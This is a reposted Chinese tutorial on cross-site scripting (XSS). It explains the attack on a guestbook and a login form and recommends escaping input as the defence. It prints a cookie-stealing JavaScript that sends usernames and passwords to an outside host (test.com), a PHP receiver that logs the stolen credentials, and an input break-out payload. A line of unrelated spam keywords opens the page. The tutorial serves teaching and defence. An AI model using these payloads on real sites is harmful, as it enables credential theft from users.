钓鱼网站在线下载,百度竞价排名规则,电商网站如何优化,做暖视频网站免费跨站脚本功攻击#xff0c;xss#xff0c;一个简单的例子让你知道什么是xss攻击 一、总结 一句话总结#xff1a;比如用户留言功能#xff0c;用户留言中写的是网页可执行代码#xff0c;例如js代码#xff0c;然后这段代码在可看到这段留言的不同一户的显示上就会执行。… 跨站脚本功攻击xss一个简单的例子让你知道什么是xss攻击 一、总结 一句话总结比如用户留言功能用户留言中写的是网页可执行代码例如js代码然后这段代码在可看到这段留言的不同一户的显示上就会执行。 1、什么是xss 用户 代码 页面 XSS攻击全称跨站脚本攻击是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆故将跨站脚本攻击缩写为XSSXSS是一种在web应用中的计算机安全漏洞它允许恶意web用户将代码植入到提供给其它用户使用的页面中。 2、xss攻击的基本原理 用户提交 代码 运行 就拿留言页面来说用户留言之后网页肯定会加载显示这些留言如果用户的留言是可运行的代码比如js那么这个网页就可以执行这段代码从而访问这个网站的所有人都会执行这段代码。 3、xss攻击窃取用户账号密码实例重在原理 当然这个示例很简单几乎攻击不到任何网站仅仅看看其原理。我们知道很多登陆界面都有记住用户名、密码的功能方便用户下次登录有些网站是直接用明文记录用户名、密码恶意用户注册账户登录后使用简单工具查看cookie结构名称后如果网站有xss漏洞那么简单的利用jsonp就可以获取其它用户的用户名、密码了。 恶意用户会这么输入 我们看看http://test.com/hack.js里藏了什么 var usernameCookieHelper.getCookie(username).value;
var passwordCookieHelper.getCookie(password).value;
var script document.createElement(script); script.srchttp://test.com/index.php?usernameusernamepasswordpassword; document.body.appendChild(script); 几句简单的javascript获取cookie中的用户名密码利用jsonp把向http://test.com/index.php 发送了一个get请求 http://test.com/index.php ?phpif(!empty($_GET[password])){$username$_GET[username]; $password$_GET[password]; try{ $path$_SERVER[DOCUMENT_ROOT]./password.txt; $fpfopen($path,a); flock($fp, LOCK_EX); fwrite($fp, $username\t $password\r\n); flock($fp, LOCK_UN); fclose($fp); }catch(Exception $e){ } } ? 这样恶意用户就把访问留言板的用户的信息窃取了 4、xss攻击最简单粗糙的预防 用户输入 过滤 其恶意脚本都是来自用户的输入。因此可以使用过滤用户输入的方法对恶意脚本进行过滤。 1、获取用户输入不用.innerHTML用innerText。 2、对用户输入进行过滤如 HTMLEncode 函数实现应该至少进行 / 等符号转义成 amp lt gt quot #x27 #x2F 二、跨站脚本功攻击xss一个简单的例子让你知道什么是xss攻击转 转自跨站脚本功攻击xss一个简单的例子让你知道什么是xss攻击 - Ideality_hunter的专栏 - CSDN博客https://blog.csdn.net/Ideality_hunter/article/details/80621138 跨站脚本攻击xss一个简单的例子让你知道什么是xss攻击 https://www.cnblogs.com/dolphinX/p/3391351.html 这篇文章说的很清楚 ---总结 1、通过在前端输入js代码即script代码点击提交comment字段保存到数据库中。 2、当被提交的这段js代码再次出现在页面上时如之前是saveModify操作将comment字段保存到数据库中然后执行viewModify显示comment信息这段script代码就显示在了html页面中这段scrip代码就被执行了这段script代码被执行。 3、该js代码是第三方黑客的js 5、js会调用黑客的工程即发起一个http url请求将用户名和密码发送过去。 这样用户名和密码就泄露了。 但是有个问题造成用户密码泄露的核心是页面上提交了某段恶意的script代码但是黑客怎么会在用户的浏览器上提交这段script代码呢用户肯定不会让黑客使用自己的浏览器吧 我想到了一种场景让用户自己去提交这段恶意的script代码。 场景如下 1用户已经正常登录了上图中的论坛系统 2黑客提供给用户一个链接可能是一个匿名邮件里的链接这个链接被伪装了看上去很合法如下图中的参加不参加其实就是一个被伪装的链接点击该链接就会在该论坛提交恶意script代码这个方式由很多种其实就是向论坛发起一个http url请求即将表单信息进行提交表单中就有script代码。 3用户点击链接恶意的script代码代码被提交用户中招。 就这么简单。 -说一下我碰到过的一个xss跨站脚本攻击场景实际工程应用中碰到过的。 我有一个登录页面 如果我有用户abc密码123 输入用户名abc密码567提示密码错误但是为了避免用户再次输入用户名将输入的用户名在页面上保留。此时的html页面是这样的f12查看 好场景描述完毕xss跨站脚本开始了 1、如果我直接在用户名这里输入scriptalert(1)/script然后输入一个错误的密码并没有执行script代码因为返回的html页面是这样的 上图中那样的script代码是不会执行的因为在input的value中。只有独立的形如下的script代码才会执行。 2所以要想实现script代码的执行就需要进行拼接将script代码排到input标签外。 怎么实现呢 说白了就是自己拼接将input标签进行闭合然后将script代码缀在后边。 通过用户名的输入将input拼接成如下即可实现script代码的执行 input nameuserName classtextcss iduserName typetext valueabc/scriptalert(1)/script/ 为什么会执行 可以将拼接后的input拆分看一下就很明白了 input nameuserName classtextcss iduserName typetext valueabc/ scriptalert(1)/script / 因为input已经闭合了所以script代码会执行至于拼接后的html文件是有语法错误的问题因为最后剩下一个/这个html是有错误的但是不影响页面展示和script代码执行就可以忽略了。 因此只需要在用户名那里输入 abc/scriptalert(1)/script 然后输入一个错误的密码点击登录就会执行script代码弹出弹框。 怎么解决呢 网上的方式感觉可行。 因为我之前工程中碰到过一种解决方式是jfinal工程中实现的在继承JFinalConfig的子类中进行实现和这个方式很像。 先说网上的这种方式 https://blog.csdn.net/sdauzyh/article/details/74942737 再说jfinal方式实现 推荐后者即final方式解决xss攻击。 三、跨站脚本攻击XSS转 转自跨站脚本攻击XSS - 谦行 - 博客园https://www.cnblogs.com/dolphinX/p/3391351.html 跨站脚本攻击(Cross Site Script为了区别于CSS简称为XSS)指的是恶意攻击者往Web页面里插入恶意html代码当用户浏览该页之时嵌入其中Web里面的html代码会被执行从而达到恶意用户的特殊目的。 一个简单的留言板 我们有个页面用于允许用户发表留言然后在页面底部显示留言列表 !DOCTYPE html
html
head?php include(/components/headerinclude.php);?/headstyle typetext/css.comment-title{font-size:14px;margin: 6px 0px 2px 4px;}.comment-body{font-size: 14px;color:#ccc;font-style: italic;border-bottom: dashed 1px #ccc;margin: 4px;}/stylescript typetext/javascript src/js/cookies.js/script
bodyform methodpost actionlist.phpdiv stylemargin:20px;div stylefont-size:16px;font-weight:bold;Your Comment/divdiv stylepadding:6px;Nick Name:br/input namename typetext stylewidth:300px;//divdiv stylepadding:6px;Comment:br/textarea namecomment styleheight:100px; width:300px;/textarea/divdiv stylepadding-left:230px;input typesubmit valuePOST stylepadding:4px 0px; width:80px;//divdiv styleborder-bottom:solid 1px #fff;margin-top:10px;div stylefont-size:16px;font-weight:bold;Comments/div/div?php require(/components/comments.php); if(!empty($_POST[name])){addElement($_POST[name],$_POST[comment]);}renderComments();?/div/form
/body
/html addElement()方法用于添加新的留言而renderComments()方法用于展留言列表网页看起来是这样的 XSS 因为我们完全信任了用户输入但有些别有用心的用户会像这样的输入 这样无论是谁访问这个页面的时候控制台都会输出“Hey you are a fool fish!”如果这只是个恶意的小玩笑有些人做的事情就不可爱了有些用户会利用这个漏洞窃取用户信息、诱骗人打开恶意网站或者下载恶意程序等看个最简单的例子 利用xss窃取用户名密码 当然这个示例很简单几乎攻击不到任何网站仅仅看看其原理。我们知道很多登陆界面都有记住用户名、密码的功能方便用户下次登录有些网站是直接用明文记录用户名、密码恶意用户注册账户登录后使用简单工具查看cookie结构名称后如果网站有xss漏洞那么简单的利用jsonp就可以获取其它用户的用户名、密码了。 恶意用户会这么输入 我们看看http://test.com/hack.js里藏了什么 var usernameCookieHelper.getCookie(username).value;
var passwordCookieHelper.getCookie(password).value;
var script document.createElement(script);
script.srchttp://test.com/index.php?usernameusernamepasswordpassword;
document.body.appendChild(script); 几句简单的javascript获取cookie中的用户名密码利用jsonp把向http://test.com/index.php 发送了一个get请求 http://test.com/index.php ?phpif(!empty($_GET[password])){$username$_GET[username];$password$_GET[password];try{$path$_SERVER[DOCUMENT_ROOT]./password.txt;$fpfopen($path,a);flock($fp, LOCK_EX);fwrite($fp, $username\t $password\r\n);flock($fp, LOCK_UN);fclose($fp);}catch(Exception $e){}}
? 这样恶意用户就把访问留言板的用户的信息窃取了 怎么预防 上面演示的是一个非常简单的XSS攻击还有很多隐蔽的方式但是其核心都是利用了脚本注入因此我们解决办法其实很简单不信赖用户输入对特殊字符如””,””转义就可以从根本上防止这一问题当然很多解决方案都对XSS做了特定限制如上面这中做法在ASP.NET中不幸不同微软validateRequest对表单提交自动做了XSS验证。但防不胜防总有些聪明的恶意用户会到我们的网站搞破坏对自己站点不放心可以看看这个XSS跨站测试代码大全试试站点是否安全。 转载于:https://www.cnblogs.com/Renyi-Fan/p/9951407.html